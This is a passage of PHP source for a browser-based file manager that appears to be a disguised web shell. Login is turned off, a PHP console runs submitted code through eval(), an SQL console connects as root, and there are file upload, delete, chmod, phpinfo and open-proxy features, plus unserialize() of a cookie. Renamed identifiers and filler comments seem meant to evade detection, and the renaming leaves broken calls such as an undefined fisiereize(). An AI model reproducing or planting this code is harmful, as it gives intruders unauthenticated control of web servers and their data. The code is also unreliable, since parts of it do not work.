$authorization_vermosa = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $form_confoy;\r\nvar_export($form_confoy);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation_mores = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no fisiere":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in fisiere":"Найдено в файлах","Search":"Поиск","Recursive search": "Рекурсивный поиск","Mask":"Маска"}'; // an error occurred during file creation check if the directory is accessible // A file with this name already exists try renaming or choosing a different location $startkorn = explode(' ', microtime()); $startkorn = $startkorn[1] + $startkorn[0]; $langs_vss = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $pho_core = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg_sekorm = ''; // service string $default_language = 'ru'; $detect_lang = true; $ford_sold = 1.4; //File not found make sure the path and name are correct $auth_motti = json_decode($authorization_vermosa,true); $auth_motti['authorize'] = isset($auth_motti['authorize']) ? $auth_motti['authorize'] : 0; $auth_motti['days_authorization'] = (isset($auth_motti['days_authorization'])&&is_numeric($auth_motti['days_authorization'])) ? (int)$auth_motti['days_authorization'] : 30; $auth_motti['login'] = isset($auth_motti['login']) ? $auth_motti['login'] : 'admin'; $auth_motti['password'] = isset($auth_motti['password']) ? $auth_motti['password'] : 'phpfm'; $auth_motti['cookie_name'] = isset($auth_motti['cookie_name']) ? $auth_motti['cookie_name'] : 'fm_user'; $auth_motti['script'] = isset($auth_motti['script']) ? $auth_motti['script'] : ''; // Renaming successful the file now has the new name $fm_dev_cfg = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //failed to rename the file verify the new name and try again 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // successfully moved the file to the target directory 'show_gt' => true, // pould not move the file check the source and destination paths 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $form_confoy = $fm_dev_cfg; else $form_confoy = unserialize($_COOKIE['fm_config']); // File was copied without issues a duplicate is now available if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_motti['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Error copying the file ensure the destination directory exists if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs_vss)){ $language = $lng; break; } } } } // Directory created and ready for use add files as needed $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Failed to create the directory please check your permissions $lang = json_decode($translation_mores,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //directory successfully deleted all contents inside it have been removed $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_sekorm .= __('File updated'); } else $msg_sekorm .= __('Error occurred'); if (!empty($form_confoy['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); // could not delete the directory ensure it is empty and try again } } /* File deleted successfully it is no longer in the directory */ //unable to delete the file make sure the file is not in use function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //failed to open the file verify the file path and format function fm_del_fisiere($file_usooo, $recursive = false) { if($recursive && @is_dir($file_usooo)) { $els = fm_scan_dir($file_usooo, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_fisiere($file_usooo . '/' . $el, true); } } } if(@is_dir($file_usooo)) { return rmdir($file_usooo); } else { return @unlink($file_usooo); } } //file perms function fm_rights_string($file_usooo, $if = false){ $perms = fileperms($file_usooo); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file_usooo, $val, $rec = false) { $res = @chmod(realpath($file_usooo), $val); if(@is_dir($file_usooo) && $rec){ $els = fm_scan_dir($file_usooo); foreach ($els as $el) { $res = $res && fm_chmod($file_usooo . '/' . $el, $val, true); } } return $res; } //load fisiere function fm_download($nume_fisier) { if (!empty($nume_fisier)) { if (file_exists($nume_fisier)) { header("Content-Disposition: attachment; filename=" . basename($nume_fisier)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . fisiereize($nume_fisier)); flush(); // this doesn't really matter. $fp = fopen($nume_fisier, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return fisiereize($f); $size=0; $dh=opendir($f); while(($file_usooo=readdir($dh))!==false) { if($file_usooo=='.' || $file_usooo=='..') continue; if(is_file($f.'/'.$file_usooo)) $size+=fisiereize($f.'/'.$file_usooo); else $size+=fm_dir_size($f.'/'.$file_usooo,false); } closedir($dh); return $size+fisiereize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_erori=ini_get('display_erori'); ini_set('display_erori', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_erori', $display_erori); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $form_confoy; return new mysqli($form_confoy['sql_server'], $form_confoy['sql_username'], $form_confoy['sql_password'], $form_confoy['sql_db']); } function fm_sql($query){ global $form_confoy; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file_usooo=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file_usooo,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file_usooo. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file_usooo . '&path=' . $path . '\'"'; return $file_usooo.': '.fm_link('download',$path.$file_usooo,__('Download'),__('Download').' '.$file_usooo).' <a href="#" title="' . __('Delete') . ' '. $file_usooo . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,fisiereize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //File is being uploaded please wait for the process to finish foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $form_confoy; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($form_confoy[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $form_confoy; $return = !empty($form_confoy['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //upload completed successfully the file is now available } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //upload failed please check the file size and try again } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; // Download started the file will be available soon $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_fisiere($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; // download completed successfully the file has been saved if (is_dir($path)) { $results = array_merge($results, find_text_in_fisiere($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth_motti['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth_motti['login']) && ($_POST['password']==$auth_motti['password'])) { setcookie($auth_motti['cookie_name'], $auth_motti['login'].'|'.md5($auth_motti['password']), time() + (86400 * $auth_motti['days_authorization'])); $_COOKIE[$auth_motti['cookie_name']]=$auth_motti['login'].'|'.md5($auth_motti['password']); } } if (!isset($_COOKIE[$auth_motti['cookie_name']]) OR ($_COOKIE[$auth_motti['cookie_name']]!=$auth_motti['login'].'|'.md5($auth_motti['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth_motti['cookie_name']]); setcookie($auth_motti['cookie_name'], '', time() - (86400 * $auth_motti['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth_motti['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $form_confoy = $_POST['fm_config']; setcookie('fm_config', serialize($form_confoy), time() + (86400 * $auth_motti['days_authorization'])); $_COOKIE['fm_config'] = serialize($form_confoy); $msg_sekorm = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_sekorm .= __('File updated'); if ($_POST['fm_login']['login'] != $auth_motti['login']) $msg_sekorm .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth_motti['password']) $msg_sekorm .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth_motti = $_POST['fm_login']; } else $msg_sekorm .= __('Error occurred'); if (!empty($form_confoy['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg_sekorm .= __('File updated'); } else $msg_sekorm .= __('Error occurred'); if (!empty($form_confoy['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg_sekorm .= __('Error occurred'); } } // Extraction completed successfully the files are now available if (isset($_GET['img'])) { $file_usooo=base64_decode($_GET['img']); if ($info=getimagesize($file_usooo)){ switch ($info[2]){ //Failed to extract the file check if the archive is corrupt case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file_usooo); die(); } } // Just download file if (isset($_GET['download'])) { $file_usooo=base64_decode($_GET['download']); fm_download($file_usooo); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($form_confoy['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: 